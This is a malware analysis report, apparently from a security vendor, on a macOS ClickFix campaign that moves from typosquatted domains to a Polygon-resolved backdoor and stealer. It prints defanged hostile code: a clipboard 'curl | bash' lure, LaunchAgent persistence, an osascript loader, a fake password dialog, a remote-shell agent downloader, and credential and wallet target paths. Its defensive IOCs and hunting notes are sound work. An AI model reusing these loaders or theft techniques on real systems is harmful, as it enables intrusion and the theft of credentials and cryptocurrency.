From typosquatting to macOS backdoor via ClickFix and blockchain C2

Overview#
A recent macOS malware campaign used a familiar social-engineering trick with a more interesting backend. A fake browser verification page pushed a malicious shell command into the user's clipboard to be executed, with later stages using a Polygon smart contract as a mutable pointer to the active command-and-control (C2) host - eventually leading to the deployment of a persistent macOS stealer & backdoor.
This investigation began when a typosquatted domain registered against a customer domain surfaced during monitoring. Days later, a second customer domain appeared as the initial URL in the same redirection chain. These paths appear to be part of a wider campaign. @pamoutaf documented related typosquatting involving Etihad in C2 on the blockchain, with the same ClickFix execution chain that uses smart contracts to host command-and-control infrastructure for the same macOS malware variant.
The infection chain began with a user browsing to a typosquatted domain, moved through traffic distribution and cloaking infrastructure, and landed on a fake verification page hosted on Cloudflare Pages.

On this page
Traffic distribution system (TDS) overview#
The chain began with a typosquatted domain and redirected through the following infrastructure before finishing at delicatelyu.pages[.]dev.
Typosquatted entry to
[redacted]
TDS redirect to
xml-v4.clicknestvector[.]xyz
TDS filtering to
filter.clicknestvector[.]xyz
TDS filtering to
live.pushub[.]net
TDS redirect to
xml-v4.pushub[.]net
Client Hints layer to
912555.skyquestfky[.]co
Tracker hop to
vandanapicks.it[.]com
ClickFix lure at
delicatelyu.pages[.]dev
Additional indicators of compromise (IOCs) collected from another client typosquat show a related delivery path from a different ClickFix lure on mandateauth.pages[.]dev.
The intermediate infrastructure collected browser fingerprinting data before sending the visitor to the final ClickFix page. Observed signals included the user agent, macOS platform hints, screen and viewport dimensions, WebGL renderer, canvas value, language, timezone, device memory, network hints, and high-entropy HTTP Client Hints (request headers which contain device and connection metadata).
The final page presented a fake "Prove you're Human" flow. Its JavaScript wrote the terminal command to the clipboard, changed the visible state from verification to success, and rewrote the visible URL using history.replaceState(...). That client-side rewrite explains why the URL seen by the user can differ from the redirect URL originally issued by the Traffic Distribution System (TDS).
Execution chain#
The chain below follows the full path from typosquatted lure to tasked malware modules.
Execution chain
Typosquat lure to tasked malware modules
The chain began with a typosquatted domain, passed through a traffic distribution system (TDS), and finished at the Cloudflare Pages ClickFix landing page.
A second client typosquat led to mandateauth.pages[.]dev and then coeuzgoq.bahisbiz[.]com//update.sh, validating a related delivery path into the same malware family.
The page rewrote its visible query string with history.replaceState, so the user-facing URL can differ from the landing URL issued by the traffic distribution system.
Observed evidence
- [typosquatted domain]
xml-v4.clicknestvector[.]xyzfilter.clicknestvector[.]xyzlive.pushub[.]netxml-v4.pushub[.]net912555.skyquestfky[.]covandanapicks.it[.]comdelicatelyu.pages[.]dev- Hosting ClickFixmandateauth.pages[.]dev- related ClickFix lure
Tasked modules
The bmodule branch can task theft, shell, or wallet replacement workflows.
runloader
smodule
txid=<txid>&smodule osascript
Full AppleScript stealer
Evidence
- Current SHA256
DF3617F4F88A908D69EA4EB872DB80E0448145D5B9030BE0C7142CE6E6D91B1C /tmp/de61c6a603087bce89f1af03a09fd8c71783154938.zip- Essential macOS Stealer /
Build NITRO4
Targets
- Chromium-family browser cookies, login databases, history, Web Data, extension storage, and IndexedDB
- Firefox profile stores, wallet apps, wallet extensions, password-manager extensions, Telegram Desktop, Apple Notes, Safari cookies, and small Desktop and Documents files
Outcome
Creates a staged loot archive and uploads it to the command-and-control host or fallback address.
Stage 1: clipboard command and script.sh#
The ClickFix lure stored the command in a JavaScript variable and automatically copied it to the user's clipboard.
(function(){
var _1 = {};
_1['tk'] = `bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9waWVkOXBjbC5wYXJzZ29sLmNhc2luby9zY3JpcHQuc2gnIHwgYmFzaA==" | base64 -d)`;
//[...]
async function _6(){
try{ await navigator.clipboard.writeText(_1['tk']); }
catch(_){ _1['buf'].value=_1['tk']; _1['buf'].select(); document.execCommand('copy'); }
}
//[...]
Within the clipboard is the below command.
bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9waWVkOXBjbC5wYXJzZ29sLmNhc2luby9zY3JpcHQuc2gnIHwgYmFzaA==" | base64 -d)
The base64 string decodes to the following command.
curl -s 'hxxps://pied9pcl.parsgol[.]casino/script.sh' | bash
The downloaded shell script is a bootstrapper. It does not hold the final malware logic in plain shell. Instead, it launches base64-encoded AppleScript.
osascript -e "$(echo "<base64 AppleScript>" | base64 -d)"
From there, execution moves into AppleScript. The wrapper writes a user-level LaunchAgent, loads it immediately, and hands off to the nested loader that resolves the active C2 through Polygon.
script.sh SHA256:
A6D43A45DE8A7423833FA990D5B88950F68054827806910E7196C04A67B2D271
A related update.sh sample from the 2026-07-06 delivery path used the same clipboard-to-shell pattern and decoded to this command.
curl -s 'hxxps://coeuzgoq.bahisbiz[.]com//update.sh' | bash
That sample validates as a second entry path into the same Polygon-resolved macOS loader chain.
update.sh SHA256:
3C01AFFCCB4C3480C8E17124500411688C5D88E8FA5479CF7486332616922B10
Stage 2: Persistence and Polygon C2#
The initial ClickFix bash command creates a persistent loader that retrieves additional commands through a C2 hostname resolved from a Polygon smart contract.
The decoded script.sh wrapper writes a LaunchAgent located at ~/Library/LaunchAgents/com.dtrqmmvdjycjypll.plist.
do shell script "
SCRIPT_PATH=\"$HOME/Library/dtrqmmvdjycjypll\";
mkdir -p \"$HOME/Library/LaunchAgents\";
cat > \"$HOME/Library/LaunchAgents/com.dtrqmmvdjycjypll.plist\" <<END_PLIST
<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"hxxp://www.apple[.]com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
<key>Label</key>
<string>com.dtrqmmvdjycjypll</string>
<key>KeepAlive</key>
<true/>
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>echo 'c2V0[...REDACTED...]IGlm' | base64 -d | osascript</string>
</array>
</dict>
</plist>
END_PLIST
"
do shell script "launchctl unload ~/Library/LaunchAgents/com.dtrqmmvdjycjypll.plist 2>/dev/null"
do shell script "launchctl load ~/Library/LaunchAgents/com.dtrqmmvdjycjypll.plist"
The related update.sh sample preserved the same architecture with different sample-specific names.
LaunchAgent: ~/Library/LaunchAgents/com.luhbmchzztkfbxao.plist
Library path: ~/Library/luhbmchzztkfbxao
Tracking ID: 8a4e280e1159833ede425a1306c2efe5
The plist executes another nested base64 AppleScript.
/bin/bash -c "echo '<inner base64>' | base64 -d | osascript"
De-obfuscating the loader reveals the core logic.
set rpcEndpoints to {"polygon.drpc[.]org", "polygon.publicnode[.]com", "polygon-mainnet.gateway.tatum[.]io", "tenderly.rpc.polygon[.]community"}
set rpcPayload to "{\"jsonrpc\":\"2.0\",\"method\":\"eth_call\",\"params\":[{\"to\":\"0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0\",\"data\":\"0x2686ecea\"},\"latest\"],\"id\":1}"
set trackingId to "c8a845e30830c48f753d01aa38927dc0"
set nextStageHost to ""
repeat with rpcEndpoint in rpcEndpoints
try
set nextStageHost to do shell script "r=$(curl -s --max-time 15 hxxps://" & rpcEndpoint & " -X POST -H 'Content-Type: application/json' --data '" & rpcPayload & "'); h=$(echo \"$r\" | sed -n 's/.*\"result\":\"0x\\([^\"]*\\)\".*/\\1/p'); [ -z \"$h\" ]&&exit 1; l=$(printf \"%d\" \"0x${h:64:64}\"); echo \"${h:128:$((l*2))}\"|xxd -r -p"
if nextStageHost is not equal "" then exit repeat
end try
end repeat
if nextStageHost is not equal "" then
set commandToRun to "curl --connect-timeout 5 --max-time 20 --retry 3 --retry-delay 5 -X POST hxxps://" & quoted form of nextStageHost & " -d " & quoted form of ("txid=" & trackingId & "&bmodule") & " | osascript"
-- Original malware executes commandToRun
end if
The loader tries these public Polygon remote procedure call (RPC) endpoints.
polygon.drpc[.]org
polygon.publicnode[.]com
polygon-mainnet.gateway.tatum[.]io
tenderly.rpc.polygon[.]community
It sends this eth_call request.
{
"jsonrpc": "2.0",
"method": "eth_call",
"params": [
{
"to": "0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0",
"data": "0x2686ecea"
},
"latest"
],
"id": 1
}
The selector 0x2686ecea corresponds to the contract's getServerURL() function.
During earlier analysis, the returned ABI-encoded string (Ethereum's Application Binary Interface format for packing contract return values) decoded to sj98xe4[.]xyz. A live re-check on 2026-07-04 returned apdhlhs3[.]xyz.
Since the command-and-control host is resolved through a Polygon smart contract, the threat actor can change infrastructure or payload hosting while keeping the initial loader stable.
What Polygon is doing here#
The blockchain is not hosting the AppleScript payload bytes. Instead, it is acting as a decentralized configuration pointer.
The contract returns an ABI-encoded dynamic string. One observed response had the following structure.
0x0000000000000000000000000000000000000000000000000000000000000020
000000000000000000000000000000000000000000000000000000000000000b
736a39387865342e78797a000000000000000000000000000000000000000000
The above decoded to sj98xe4[.]xyz.
offset: 0x20
length: 0x0b
string bytes: 736a39387865342e78797a
ASCII (defanged): sj98xe4[.]xyz
The 2026-07-04 response encoded apdhlhs3[.]xyz.
length: 0x0c
string bytes: 617064686c6873332e78797a
ASCII (defanged): apdhlhs3[.]xyz
Stage 3: bmodule AppleScript backdoor#
The bmodule response is a larger AppleScript backdoor and module loader.
When the contract returned sj98xe4[.]xyz, bmodule retrieval used the following POST request.
POST hxxps://sj98xe4[.]xyz/
Body: txid=c8a845e30830c48f753d01aa38927dc0&bmodule
SHA256: 3FE858C934D7D3F3AE946B69B4FB4649E8B23FE4F145363AE03F80BA68D5CEBE
When a later contract lookup returned apdhlhs3[.]xyz, the same request returned a different payload.
POST hxxps://apdhlhs3[.]xyz/
Body: txid=c8a845e30830c48f753d01aa38927dc0&bmodule
SHA256: B939ECD438F59F9583C7D9285B1CB4FD49224859AF3EEE6457142FDC75619B52
The role is unchanged, the threat actor just updated the C2 domain via Blockchain.
- The backdoor resolves the active C2 again through the same Polygon contract;
- Validates the C2 by POSTing
check; - Collects the hardware UUID using multiple fallback commands;
- Collects the username using multiple fallback commands;
- Prompts for the user's macOS password with a fake "System Preferences" dialog;
- Validates the password locally with
dscl . authonly; - Stores the password, or a no-password marker, in
~/.passphrase; - Enrolls the host with the C2 using
uuid,username,txid, andconnect; - Writes the campaign tracking ID to
~/.txid; - Runs
tccutil reset Allon first connection; - Polls the C2 every 60 seconds for tasks.
The password prompt is plain AppleScript social engineering, not a macOS authorization dialog.
display dialog "To run the application you need to change the settings for its operation." & return & "Please enter password for continue:" default answer "" with icon caution buttons {"Continue"} default button "Continue" with title "System Preferences" with hidden answer
The backdoor validates the entered password locally with dscl.
dscl . authonly <username> <password>
If validation succeeds, the captured password is written to ~/.passphrase.
This matters because the later stealer modules read ~/.passphrase and use the password to access secrets that would otherwise be locked behind the user's login keychain.
C2 tasking#
The backdoor polls the C2 with the hardware UUID, username, campaign identifier, and task selector.
uuid=<hardware_uuid>&username=<username>&txid=<txid>&task
The task map links each selector to a module download path.
runloader -> download txid=<txid>&smodule and pipe to osascript
runlight -> download txid=<txid>&lmodule and pipe to osascript
replacer -> download txid=<txid>&ledger and pipe to sh
openshell -> download uuid=<uuid>&username=<username>&txid=<txid>&shell and pipe to sh
Tasks launch through a detached shell command.
nohup sh -c "<module download command>" > /dev/null 2>&1 < /dev/null &
Stage 4: Tasked malware modules#
The C2 can return multiple module types. In current retrieval, the campaign still exposed bmodule, smodule, lmodule, ledger, and shell selectors from the Polygon-resolved C2 host.
smodule full infostealer#
The runloader task retrieves smodule.
The earlier retrieval used sj98xe4[.]xyz.
POST hxxps://sj98xe4[.]xyz/
Body: txid=c8a845e30830c48f753d01aa38927dc0&smodule
SHA256: 57F5F89DDF380E700FE8183DA177411F75035B5594FAD5FCC9BC41F9B6CD73DF
The current retrieval uses apdhlhs3[.]xyz.
POST hxxps://apdhlhs3[.]xyz/
Body: txid=c8a845e30830c48f753d01aa38927dc0&smodule
SHA256: DF3617F4F88A908D69EA4EB872DB80E0448145D5B9030BE0C7142CE6E6D91B1C
The module is an AppleScript infostealer and contains these marker strings.
Essential macOS Stealer
Build: NITRO4
The current smodule reads the password captured by bmodule, stages collected data under /tmp/de61c6a603087bce89f1af03a09fd8c71783154938/, creates a zip archive, and uploads it with multipart form data.
Observed exfiltration endpoints include both the resolved C2 and a direct IP fallback.
hxxps://apdhlhs3[.]xyz/upload.php
hxxp://62.60.226[.]50/upload.php
The deobfuscated module shows a broad collection set. It records the username, captured password, public IP address, and system profile. It then collects Chromium-family browser cookies, login databases, history, Web Data, extension storage, and IndexedDB from Yandex, Chrome, Brave, Edge, Vivaldi, Opera, Opera GX, Chrome Beta, Chrome Canary, Chromium, and Chrome Dev. It also collects Firefox profile stores, Telegram Desktop tdata, crypto wallet application directories, browser wallet-extension stores, password-manager extension stores, Safe Storage secrets or ~/Library/Keychains/login.keychain-db, Safari cookies, Apple Notes, and small files from Desktop and Documents.
The file grabber in smodule is bounded. It copies files under 250 KB from Desktop and Documents and stops after 5 MB of cumulative file content.
lmodule light infostealer#
The runlight task retrieves lmodule.
The current retrieval uses apdhlhs3[.]xyz.
POST hxxps://apdhlhs3[.]xyz/
Body: txid=c8a845e30830c48f753d01aa38927dc0&lmodule
SHA256: 65868462455B1B79F53D369585E96EEFCA41C7DE663B0A8F61795098360A9838
lmodule is a lighter AppleScript stealer variant. It uses the same family branding.
Essential macOS Stealer
Build: NITRO4
Observed staging and upload paths show the smaller archive and the same exfiltration pattern.
/tmp/b0d9242d3ce5016f69bac8eb0f633bb11783154959.zip
hxxps://apdhlhs3[.]xyz/upload.php
hxxp://62.60.226[.]50/upload.php
/tmp/updstat.txt
lmodule is the smaller of the two stealers. It keeps the core credential-and-wallet collection set: ~/.passphrase, username, public Internet Protocol address, system profile output, Chromium-family browser data, Firefox profile stores, crypto wallet application directories, browser wallet-extension stores, password-manager extension stores, Telegram Desktop tdata, and Safe Storage or keychain material.
Compared with smodule, lmodule omits the Safari cookie helper, Apple Notes extraction, and Desktop and Documents file grabber. Its purpose appears to be a smaller, faster credential-and-wallet collection path.
openshell RAT#
The openshell task retrieves a shell script from the resolved C2.
POST hxxps://apdhlhs3[.]xyz/
Body: uuid=<uuid>&username=<username>&txid=c8a845e30830c48f753d01aa38927dc0&shell
SHA256: FF33B314692C2E428B48B20C4024A83CDCBECA08C9CE7AFB5E6BC51126A5DE3C
The script downloads and executes a Mach-O agent.
#!/bin/sh
exec >/dev/null 2>&1
AGENT_URL="hxxps://apdhlhs3[.]xyz/assets/agent"
DOWNLOAD_PATH="/tmp/agent"
curl -L -s -o "$DOWNLOAD_PATH" "$AGENT_URL"
chmod +x "$DOWNLOAD_PATH"
"$DOWNLOAD_PATH" --server ws[:]//62.60.226[.]50:1337/ws/agent --authkey <server_generated_key>
The auth key is generated server-side after the host enrolls with the connect handler. In our retrieval, the auth key reflected the fake zero-UUID analysis identity and should not be treated as a real victim key.
The retrieved agent had the following properties.
URL: hxxps://apdhlhs3[.]xyz/assets/agent
Size: 16,424,208 bytes
MD5: 50735BC496625EF7E50185F8181C136E
SHA256: 6E74132346BA6B16DC9B0E5026CFB33163753D60B799E4B8359FAF41BCF85CA0
Type: fat Mach-O, x86_64 + arm64
Static extraction found a PyInstaller archive.
Python version marker: 3.13
PyInstaller entries: 92
Entrypoint: agent
Bundled library: websockets 16.0
Extracted entrypoint strings identify the binary as a "Terminal Hub agent" that connects over WebSocket, authenticates with a server-generated key, waits for session_open, spawns /bin/zsh attached to a pseudo-terminal, base64-encodes terminal output, and accepts input, resize, and session-close messages from the server.
This is the backdoor component. The AppleScript bmodule handles polling and task dispatch; the Mach-O agent provides the operator-facing remote shell.
replacer and Ledger payload#
The replacer task maps to the ledger selector.
txid=<txid>&ledger

The Ledger path is malicious and targets cryptocurrency theft. The hosted disk image contains a fake Ledger Wallet.app that impersonates the Ledger desktop application. The application is a native-looking phishing container: it resolves campaign command-and-control infrastructure through the same Polygon smart contract, reads the campaign or victim identifier from ~/.txid, and opens attacker-hosted Ledger-branded content in a frameless macOS window.
The recovery-phrase theft is handled by the remote page loaded inside the fake application. The phishing and exfiltration endpoint is constructed from the resolved C2 and campaign identifier.
hxxps://<resolved-c2>/ledger/index.php?txid=<txid>
In this dataset, the resolved command-and-control domain was apdhlhs3[.]xyz, which produced this URL.
hxxps://apdhlhs3[.]xyz/ledger/index.php?txid=<txid>
The known disk image path was recovered from the same infrastructure.
URL: hxxps://apdhlhs3[.]xyz/assets/L.dmg
Size: 22,186,759 bytes
MD5: 58B0E59D32F224E6BA0131B7CA0FD79A
SHA256: EE8E7340CDC379FE1B86BBDC4C682FAD2FCBA2454541B15BCBE66A9950A5A1D1
Type: application/x-apple-diskimage
This MD5 differs from the hf98x4d[.]site Ledger DMG hash reported in earlier public analysis, suggesting that the Ledger payload has been rebuilt or swapped since that observation.
Blockchain analysis: recovering historical C2 values#
The Polygon contract is named extractor on Blockscout and exposes two relevant functions.
getServerURL()
setServerURL(string _newURL)
The malware reads the current C2 value through getServerURL().
getServerURL();
selector: 0x2686ecea;
The operator updates the active URL through setServerURL(string).
setServerURL(string);
selector: 0xd75d1ba6;
Because updates are on-chain transactions, historical C2 values can be recovered. This does not recover historical payload bytes by itself, but it reveals where the malware was configured to retrieve later components at different points in time.
Two useful approaches recover this history.
- Decode
setServerURL(string)transaction input. - Replay
eth_callat historical blocks.
Observed URL timeline#
The active C2 changed during the investigation.
2026-06-27: sj98xe4[.]xyz
2026-07-01: apdhlhs3[.]xyz
2026-07-04: apdhlhs3[.]xyz
The 2026-07-06 update.sh sample did not introduce a new contract. It reused 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0, selector 0x2686ecea, and the same public Polygon remote procedure call endpoints. Its sample-specific tracking value was 8a4e280e1159833ede425a1306c2efe5, and it requested bmodule after resolving the active command-and-control host.
Recovered historical values came from Polygon smart contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0.
| Order | Local Time | Source | Block | URL |
|---|---|---|---|---|
| 1 | 2026-05-02 00:22:42 +07 | constructor | 86268059 | vk[.]com |
| 2 | 2026-05-02 01:07:46 +07 | setServerURL | 86269411 | rutube[.]ru |
| 3 | 2026-05-02 01:09:32 +07 | setServerURL | 86269464 | facebook[.]com |
| 4 | 2026-05-18 09:46:03 +07 | setServerURL | 87047231 | hxxps://vk[.]com/ |
| 5 | 2026-05-18 10:00:39 +07 | setServerURL | 87047732 | xuiaxwx[.]com |
| 6 | 2026-05-25 20:59:07 +07 | setServerURL | 87415908 | example[.]com |
| 7 | 2026-05-27 16:47:07 +07 | setServerURL | 87506003 | gesck4m[.]pro |
| 8 | 2026-06-03 06:02:54 +07 | setServerURL | 87829516 | sj98xe4[.]xyz |
| 9 | 2026-06-05 08:29:03 +07 | setServerURL | 87945305 | smdh7[.]surf |
| 10 | 2026-06-05 17:04:25 +07 | setServerURL | 87965920 | citcix6[.]xyz |
| 11 | 2026-06-07 03:02:43 +07 | setServerURL | 88047452 | hf98x4d[.]site |
| 12 | 2026-06-23 01:35:38 +07 | setServerURL | 88965562 | sj98xe4[.]xyz |
| 13 | 2026-06-28 17:41:01 +07 | setServerURL | 89292177 | bduwih8[.]pro |
| 14 | 2026-06-30 03:10:53 +07 | setServerURL | 89372572 | apdhlhs3[.]xyz |
| 15 | 2026-06-30 03:14:13 +07 | setServerURL | 89372705 | johncon[.]my |
| 16 | 2026-06-30 03:14:38 +07 | setServerURL | 89372722 | johncon[.]my |
| 17 | 2026-07-01 01:23:44 +07 | setServerURL | 89425886 | apdhlhs3[.]xyz |
Since the contract history outlives the active hosts, even after infrastructure rotates, on-chain records provide us with a timeline of prior delivery domains.
The limitation matters just as much. Blockchain history identifies historical C2 locations, not the payload bytes served from those locations. Payload equality still requires HTTP captures, malware repository samples, sandbox telemetry, or successful live retrieval during the relevant window.
Detection and hunting notes#
Host artifacts include these paths.
~/Library/LaunchAgents/com.dtrqmmvdjycjypll.plist
~/Library/LaunchAgents/com.luhbmchzztkfbxao.plist
~/Library/luhbmchzztkfbxao
~/.passphrase
~/.txid
~/tempFolderC/Cookies.binarycookies
/tmp/<long_hex_directory>/
/tmp/<long_hex_directory>.zip
/tmp/updstat.txt
/tmp/agent
Behavioral patterns include the following activity.
- User-level LaunchAgent with
RunAtLoadandKeepAlive - Command-lines using
/bin/bash -cwithecho '<base64>' | base64 -d | osascript - Non-browser process making Polygon JSON-RPC
eth_callrequests - Repeated AppleScript password prompts titled "System Preferences"
dscl . authonlyused for local password validationtccutil reset Allsecurity find-generic-passwordcalls for browser Safe Storage secrets- WebSocket connection to
62.60.226[.]50:1337/ws/agent
Network patterns center on these POST bodies.
POST / with body: check
POST / with body: uuid=<uuid>&username=<username>&txid=<txid>&connect
POST / with body: uuid=<uuid>&username=<username>&txid=<txid>&task
POST / with body: txid=<txid>&bmodule
POST / with body: txid=<txid>&smodule
POST / with body: txid=<txid>&lmodule
POST / with body: txid=<txid>&ledger
POST / with body: uuid=<uuid>&username=<username>&txid=<txid>&shell
Summary#
This campaign begins with typosquatting and uses ClickFix as a social engineering vector to get the victim to run a shell command. script.sh installs a persistent AppleScript loader. That loader queries a Polygon smart contract for the current C2 host. The C2 serves bmodule, an AppleScript backdoor that captures the user's macOS password and polls for tasks.
Additional indicators from a second client typosquat show the same architecture through mandateauth.pages[.]dev and coeuzgoq.bahisbiz[.]com//update.sh. The update.sh sample differs at the byte level from the earlier script.sh, but it preserves the same Polygon contract, selector, remote procedure call endpoints, bmodule retrieval, and AppleScript execution flow.
From there, the operator can choose the next module.
smodule: full AppleScript infostealerlmodule: lighter AppleScript infostealeropenshell: Mach-O PyInstaller WebSocket RATreplacer: Ledger replacement workflow and disk image
The most important operational feature is the on-chain C2 pointer. It lets the operator rotate domains without changing the deployed loader, and it gives defenders a durable history of infrastructure changes through blockchain transaction analysis.
Stealer target paths#
The table below reflects the current deobfuscated smodule and lmodule AppleScript logic. Both modules share the core browser, wallet, Telegram, and keychain collection set. smodule adds Safari cookies, Apple Notes, and a bounded Desktop and Documents file grabber.
| Targeted source | smodule | lmodule | Paths and artifacts |
|---|---|---|---|
| Captured password and host metadata | Yes | Yes | ~/.passphrase; username; system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType; public Internet Protocol address from hxxp://api.ipify[.]org/ |
| Chromium-family browser profiles | Yes | Yes | ~/Library/Application Support/{Yandex/YandexBrowser,Google/Chrome,BraveSoftware/Brave-Browser,Microsoft Edge,Vivaldi,com.operasoftware.Opera,com.operasoftware.OperaGX,Google/Chrome Beta,Google/Chrome Canary,Chromium,Google/Chrome Dev}/{Default,Profile*}/{Network/Cookies,Cookies,Web Data,Login Data,History} |
| Browser wallet extensions | Yes | Yes | {Default,Profile*}/Local Extension Settings/<wallet extension ID> and {Default,Profile*}/IndexedDB/<wallet extension ID> for a large wallet-extension set, including MetaMask, Trust Wallet, Phantom, Coinbase Wallet, Guarda Wallet, OKX Wallet, Rabby Wallet, Core Wallet, Exodus Web3 Wallet, and Magic Eden Wallet |
| Browser password-manager extensions | Yes | Yes | {Default,Profile*}/Local Extension Settings/<extension ID> and {Default,Profile*}/IndexedDB/<extension ID> for iCloud Passwords, LastPass, 1Password, NordPass, Keeper, Proton Pass, Bitwarden, Enpass, Dashlane, and related credential extensions |
| Firefox profiles | Yes | Yes | ~/Library/Application Support/Firefox/Profiles/{*Profile*,*.default}/{cert9.db,cookies.sqlite,cookies.sqlite-wal,formhistory.sqlite,key4.db,logins-backup.json,logins.json,signons.sqlite,places.sqlite} |
| Wallet application directories | Yes | Yes | ~/Library/Application Support/{Exodus,Atomic Wallet,Guarda,Coinomi,Bitcoin,Armory,Litecoin,DashCore,Dogecoin,BlueWallet,Zengo,Trust Wallet,Ledger Live,Ledger Wallet,@trezor,@tonkeeper}/; ~/.electrum/wallets/; ~/.sparrow/wallets/; ~/.walletwasabi/client/Wallets/; ~/.electron-cash/wallets/; ~/.bitmonero/wallets/; ~/.electrum-ltc/wallets/ |
| Telegram Desktop | Yes | Yes | ~/Library/Application Support/Telegram Desktop/tdata/ |
| Browser Safe Storage or keychain fallback | Yes | Yes | security find-generic-password -s "{Chrome,Microsoft Edge,Brave,Opera,Vivaldi} Safe Storage"; fallback copy of ~/Library/Keychains/login.keychain-db |
| Safari cookies | Yes | No | ~/Library/Safari/Cookies.binarycookies; ~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies; intermediate copy at ~/tempFolderC/Cookies.binarycookies |
| Apple Notes | Yes | No | Notes application content exported through AppleScript to the staging file Notes |
| Desktop and Documents small files | Yes | No | ~/Desktop/** and ~/Documents/**; files below 250 KB; cumulative cap of 5 MB; staged under FileGrabber/Desktop/ and FileGrabber/Documents/ |
TTPs and IOCs#
References#
Domain Protection
Protect your brand from typosquatting.
Join security teams using Have I Been Squatted to monitor malicious domains, phishing infrastructure, and brand impersonation across the open web.